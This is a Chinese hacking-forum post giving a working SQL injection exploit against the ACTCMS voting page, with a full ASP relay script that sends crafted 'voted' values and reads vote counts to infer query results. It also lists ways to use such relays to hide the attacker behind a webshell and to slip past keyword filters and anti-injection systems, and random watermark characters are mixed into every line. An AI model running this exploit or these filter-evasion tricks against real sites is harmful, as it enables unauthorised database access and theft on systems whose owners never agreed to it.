找回密码
 立即注册
查看: 2788|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

$ x. F. j1 V" }看到ninty大牛的blog的一篇文章0 R, f9 `4 [2 O; u  X  f  N8 m. B
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
5 P2 E$ `: P, A5 y0 p7 m' z/ M. L关于actcms漏洞的利用  by 3x qq:3818625899 d  g9 T% S6 @; a3 U+ X) I
转载请注明以上; r8 O$ g; r/ `9 X
漏洞文件:
- o2 p% W1 _8 X/plus/vote/vote.asp
$ L3 X" A; N& `6 j: U代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
3 r4 f- o7 C6 Z
+ M) y) V. J# N6 d2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   6 v+ j/ G9 B' S& z( h
, H4 f( q; @. @/ y, @
3    response.end   
. W7 F" \$ r& n& L8 w4 `' l3 G$ R8 @; s' X/ h3 m/ x
4    end if   
5 @; W; p& {" w3 ^6 d( J1 X+ a7 z) h+ c5 M+ w) X+ u$ e% q+ m
5    for i=1 to request("voted").count    7 O. d% T+ M3 v1 V3 [$ f9 D
0 w2 e+ _- w: M0 b
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
4 P, `+ C" z+ f0 m4 j  J
# F0 f9 A% U. |$ P: D% J7    next    / Y- g, f) n% x* j! V

  W/ ^3 Z4 e% I. {5 l$ \8....   
* C; C8 ?. x4 _% f2 L# u& q+ }$ ?9 d' C
9response.Redirect "index.asp?id="&id&""     g; U* V5 K6 [2 F- _$ w* y' u
投票结束回跳转回index.asp这个投票结果页面
0 j5 {" k: P3 k4 l0 j. P如果投票成功票数加1
1 G& X/ ?0 |, [# V2 D6 l2 \, P& f  t            失败票数不变* H2 }8 w. N7 b3 F. i$ s; ]
如图:
" {" c' S) a) B) m+ L, Zhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)" w' z% }5 |1 u

3 O5 ~; I* [# B. V2009-12-27 13:20* |. F% r5 }, M2 H" ]! E

3 `! |3 S  p: k* S: r- v4 o利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了% d  V# n% F8 x- o

- k0 g7 r8 e1 H本帖隐藏的内容需要回复才可以浏览
+ v, }4 q" i! v# \$ M( ]我们用注入中转来实现这个注入具体代码如下:& O& L) X6 {4 {  M  b
先用寂寞的刺猬大牛的注入中转生成jmget.asp
: x) `/ Z6 M) ]; A$ I注入地址:http://localhost/actcms/plus/vote/vote.asp7 D* q& w/ V8 \. s+ a
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项9 V) N/ E: @; m- O% R9 _

; h- N. Y: T& |然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% ; V2 G5 Y7 n& n. j# c; {3 h0 z

, S3 _) I* Y0 L; ~02JmdcwName=request("jmdcw") 4 B+ J0 w5 A$ x9 X

) ?0 I# V* C5 [8 P; P8 o03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 7 @6 w* i% Q2 R/ v

+ [' B! `: G+ C2 C2 C5 F04JmStr="id=1&voted=-1 or 1="&JmdcwName
/ Z2 m1 p* `3 ^% O
5 o; x- a) D" [2 C3 G. ]05JmStr=URLEncoding(JmStr)
! F! \' d) {; n0 C1 J; w" w
: O" y& _# P2 a0 w6 L, i- m9 Y06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"$ ]9 x7 Z; Y" s" _& ?
; h  m# g4 ~: t$ u; p# t; i- V! N
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
9 f  L( Y$ I. E! i3 n; C
: Y5 G0 g2 R+ k08testurl=testurl & "?" & JmStr 8 h1 K5 q# I: J# c' ?" G5 {
6 K9 s) z2 m. I" l6 E) z5 T! [- B, F8 T
09JMUrl=JMUrl & "?" & JmStr $ j3 T5 B( f0 Q# v: d
7 m& t, v" w& x& J: h4 D
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"4 m% S- x% W2 f8 M, A1 W+ [; y% Y
% s3 k& b  a' A
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"& S* V6 f6 @' u2 ^* a

% S. e1 E1 M5 F; }7 O& f: A12JmCok=replace(JmCok,chr(32),"%20")  ) _& \$ P9 ^1 P; q$ i+ W6 P- q5 y% H

/ }  ^) d& X# X: ^5 O) j13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 2 j2 b. T  c; f2 f, t2 m: w/ s
' X! r1 L' y* n( r+ y
14  % f2 d% A$ G( s/ [0 X5 G

1 `# L. {# g- g. t0 r1 L: ?/ X15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
% K( T2 {5 l8 {1 y3 K3 A
  Q8 k% z' O4 e4 g5 n16  
4 m7 p/ L7 |9 l
( m' g5 ]. n# H4 `5 @% ~+ p9 t" b17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
2 o! G1 g* @, k2 X7 v3 `9 Y5 @; S, y
18response.write test1&""&test2&""
6 n6 U  N: F& A' K! t/ A2 _4 `8 J* F" U& `4 m/ B$ c6 t6 _
19  6 A) |/ D3 ~0 A# t8 b9 g. O6 \* V" f
2 H' H: _4 y) U% n* W& {5 }$ ~
20if test1=test2 then '如前后记录相等,表示失败
! O" U- Y& w; n( E) _' ~9 w6 G1 \
3 c9 t: G# e7 U9 ?21  response.write "failed"# x" O& M" J+ o/ N/ C
/ W, [; B/ w- C% |! j
22else
1 w( q) Z. b7 b3 @& r7 b, W! x9 C, Z# |) ^9 ]
23  response.write "succeed", P9 |% p) T3 o
* V9 c, k6 v0 y2 @% |/ w! I+ J
24end if  
. N) Q0 o: p/ G
/ \# I9 ]$ K) f5 s0 I4 P25  
8 p: }9 Z) J/ L, b7 j8 ?1 s
# d( P, H9 n. T/ ]+ W  B; I" r  [26response.write "by 3x"- |5 k/ i$ o8 t! e

' J& ?3 b# ?" O3 y27  
" f2 Y' S% @+ \- ~/ M% R! `8 M' y( ]0 E, A0 Y% ?: x2 [# d
28  7 I' `7 W. O2 ~; |' c
$ U# ~7 z3 }/ Y. p& _5 s0 T8 E
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
7 o. |( M3 k. t& ~8 J6 ?( b
& ]3 k' w1 E, D  q, w+ k5 S0 k30Dim Http 8 U' x* h0 e# g
! [- ]$ A1 D* E2 e" j# j/ E
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 9 a: V9 }% ^( j4 K- }& }) O

$ Z) q5 Y" s+ `0 O) `32With Http
/ q+ y  P; c2 H+ y% F
( C' @9 ^* [9 `' b& b33  
+ x" W* }* ?4 T% {" t
, ?/ N/ ?( d9 A& s0 N34.Open "GET",PostUrl,False
. N( Y- }% n$ r0 N) [! @
) {+ l* b+ s( \4 b2 I* N35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"! k- {% ^$ M! ~7 V3 m
8 C* m/ U- O$ f+ U9 u! y7 S
36.SetRequestHeader "Referer",PostRef
2 |7 p3 V+ N3 E+ z- D" L
3 S  ?: L) p6 y5 H& `37.SetRequestHeader "Cookie",PostCok
( R* c3 Y% e9 g4 Y  d: B
8 H% t0 l' U% K- |+ q38.Send ()   S+ e2 M" L- z) n

/ n9 h7 F8 j) h39PostData = .ResponseBody
" i3 s% ^9 X" U9 n6 _$ K5 ]. m- G  x" U4 G  l
40End With
2 p" P- ~/ B9 U: r) J7 T
% ?. h# O. v9 T9 M9 @2 R41Set Http = Nothing5 t$ x# A* f) ~: m1 `0 x9 I
) F* d4 w( e+ _6 _7 d
42PostData =bytes2BSTR(PostData) 5 [3 ~9 M( g  y+ H
# m# d6 E+ |. }6 j( {1 A8 r
43End Function
, T5 u' z& I& X/ S" s
6 U, {/ R* W1 k3 a6 o44  % f0 B' e- E. f* A9 i, ?9 `+ e- {
3 C$ x8 T" u1 `0 V, a+ U5 \
45  
6 V8 _; e/ z8 \
( M: R4 C. \- x- y46Function bytes2BSTR(vIn) - m, A. {- s+ O2 h/ e" R

& q2 S$ x; J$ G4 B  V47Dim strReturn + z6 j" J4 \1 U" D

8 B) }2 H9 e' m8 ^1 d! F) P48Dim I, ThisCharCode, NextCharCode
& J9 J, ]  h- K. p) N% C# n( G
/ |" v& @4 C  e, m7 J* ~49strReturn = ""$ v, B' q4 y+ x% P* j# k

) z  T& A6 |! p) E' h( n50For I = 1 To LenB(vIn) 1 ]& l: w- o" u, U7 x% ~

5 e2 A8 _) s, a9 S2 d' u9 K51ThisCharCode = AscB(MidB(vIn, I, 1))
  ~& j* m$ a/ [
8 Z1 V9 A5 Q+ V# e  y52If ThisCharCode < &H80 Then
8 c* |0 }, Q# g( C2 k: W" I$ l4 Z" A7 F# @: m2 A$ D7 N7 r9 E
53strReturn = strReturn & Chr(ThisCharCode) ! G! m+ k3 D1 h, u. o' n/ G3 |* v- ~, y

! C" n& V, y( w. O, ?54Else4 ^. F% r. J: h3 U
/ T  w/ D' _7 q$ g# @
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) ( V& n! G; f' u" ]! U

# X) C( s1 j5 k" r6 T  B56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 5 {6 r; ~- u1 ~

& |) S7 O, v# c0 ~7 ~9 S57I = I + 1 9 f' `+ e; P! ?3 \
& S5 O) q* ]% }3 \& s$ r+ x
58End If
6 R, |1 H$ M5 d4 s' x. v, p- Z$ `* [6 k( i
59Next% e7 |% K2 E; z. c9 L( K8 T

, b* g  v: @7 ~0 @* k60bytes2BSTR = strReturn 4 ~& Q3 K. `. h

' h5 \4 E, \% }2 b  {4 B61End Function
! M  k3 _# X1 B7 U" z1 y6 f9 X! |2 Q& }' V- N6 q3 d8 O6 _0 w
62  4 S  R) d  E. m- {* U/ W. I

% p& z& k' Q* ]" {9 M63Function URLEncoding(vstrin)  9 u1 j8 }9 p$ d' c

+ Q( h' m, s" O64strReturn=""
' @$ r7 n$ H; r. [6 y8 U9 h5 k/ r* y4 G+ f& F) A- q/ e  D8 S% f; E
65Dim i " K. G* M/ S: F' A8 c
: b% V1 l6 G9 s: G/ @
66For i=1 To Len(vstrin) . e+ Y4 u7 A3 B2 e6 f1 Y
  ^' }7 m1 e1 G$ i( `2 u) e
67ThisChr=Mid(vstrin,i,1)
5 J9 u) {8 y5 D+ `: c& b, ~) f1 s! G; _; |. R. h
68if Abs(Asc(ThisChr))< &HFF Then
. x+ c" N# o# t, t  t4 }
6 O8 k$ K" J2 a, M' W7 d69strReturn=strReturn & ThisChr
7 {' x. I6 v9 a, @* Y- ]
! o2 D, p6 E. U70Else
/ @4 m6 U3 p8 M' O: w5 [" e4 m9 ~& C: C& E9 S1 `: n( @5 V' r8 ~! Q5 r
71InnerCode=Asc(ThisChr)
+ R# P9 L' N6 r2 i! r/ E8 u- R- O: R
72If InnerCode<0 Then
2 G$ a4 a6 O, q3 k8 u" E& ^* i4 ?
73InnerCode=InnerCode + &H10000 & E6 t6 b, n* Y5 E3 m
& J! I! I& h4 w7 H
74End If
5 U* z. h  l% w8 ~" o8 G1 J& }" c# G( r: m6 A" a
75Hight1=(InnerCode And &HFF00) \&HFF
3 V/ s' v' o1 I4 x+ Z
+ m* n' Q4 M! m- J' i9 f- O4 ?# _7 M76Low1=InnerCode And &HFF + S) x& B# w3 b; {
2 r; s' K1 E" x
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
  N9 X$ L7 Z+ y. ~; W( r: M$ r9 j7 p: l- {
78End if
' N. E0 y8 z) O' ?) }" u* b9 d4 i. n2 W9 z6 y
79Next
. f) E' X1 x( {8 Z8 _6 d6 ?$ ]: ~1 F
9 Q; }% s$ Q  R. y80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
( O3 Z7 F4 \; Y5 ]6 s  I
$ Y+ g4 f9 z7 `  |) ^81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 8 }; a  e( i. w9 ]: N9 t& B

3 h% N6 H% h( l, G& T4 z82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 ' S. r- p+ o8 M& ^+ g. R
4 h" u7 E4 x0 F1 t
83URLEncoding=strReturn
6 t- C$ \7 O4 }% V! S- q
2 i4 ]- \6 ]; _% _- b) E) s0 X84End Function; g4 |6 }# C* b0 ~$ Z6 M0 z7 ~( A

3 j/ g& u  b6 f+ ^85  
: O! X7 b6 P& G, A" V$ d
5 @1 x3 o% a; f5 A) e- Q3 ]86function getSt(body) # u2 b$ w( s& }. o( `/ J

7 g  ^! W- J+ _7 u+ c% _/ V87  startpot=instr(body,"投票人数:")+len("投票人数:")
( M; K( m% f7 U$ g2 K6 z; h
" K4 [5 x3 q* q1 A- W9 H88  endpot=instr(startpot,body," ")
! K3 o% u2 I8 V- \' B8 G1 }  G" v3 s8 K  h0 ^: G4 S+ I
89  getSt=mid(body,startpot,endpot-startpot) : N& p3 C6 g& _+ ~

7 o& s% @, {9 x0 w1 D90end function % U# J7 }8 F$ `
! Z: J) Q1 y3 k6 C$ v5 V# q) ~
91%>
0 ~& p6 K  {/ o* V7 U# W8 D注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了! d# S7 k) |2 Q2 ?
测试下效果:
4 F0 R+ L/ g5 c6 X. D" {' C: y投票成功:, b: g* U0 W& g0 N
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)0 X: g; ?7 ^8 {+ p

. [2 Z- L6 x1 B) ^7 o+ O6 K2009-12-27 13:29- k  B1 n, Y* ]$ y6 t
投票失败5 ?) `8 {" Z) D/ A4 `
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
8 \* r1 F; ~1 O
! I2 @( d( S: t2 ^2009-12-27 13:29
: s2 T% s& U- h/ L, R8 c* h1 v-------------------------------------------------------------------------------& G. t8 f4 i8 j6 X
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以( b- L: Q, y2 m% F! V  a( c' F; N
很抱歉。。。只能用单线程工具去注入。。。。。
: O8 m) d5 I8 I2 [# F所以失败。。。不好意思。。。$ Q/ t) Q4 g) y5 _' r
-------------------------------------------------------------------------------  Y+ a. o0 ~: Z+ i3 k! m+ ^6 B" ~$ E! b
$ r, ]/ t+ Z2 n! U" u
注入中转的一些其他应用
  I6 _! T5 }) T# Q其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
) {2 y. c; V% I% E! i1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
: _5 Y4 K4 G) }8 l9 [" o8 V& d  b2.post注入转成get型的注入,方便我们使用工具来跑
" i; g" L# H3 H6 a( K3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09"); L2 h' y" g! V# t+ N
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
+ Z& ^( V2 B" N4 a( f! m$ f& v: c% L* f  L6 f+ ]9 H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表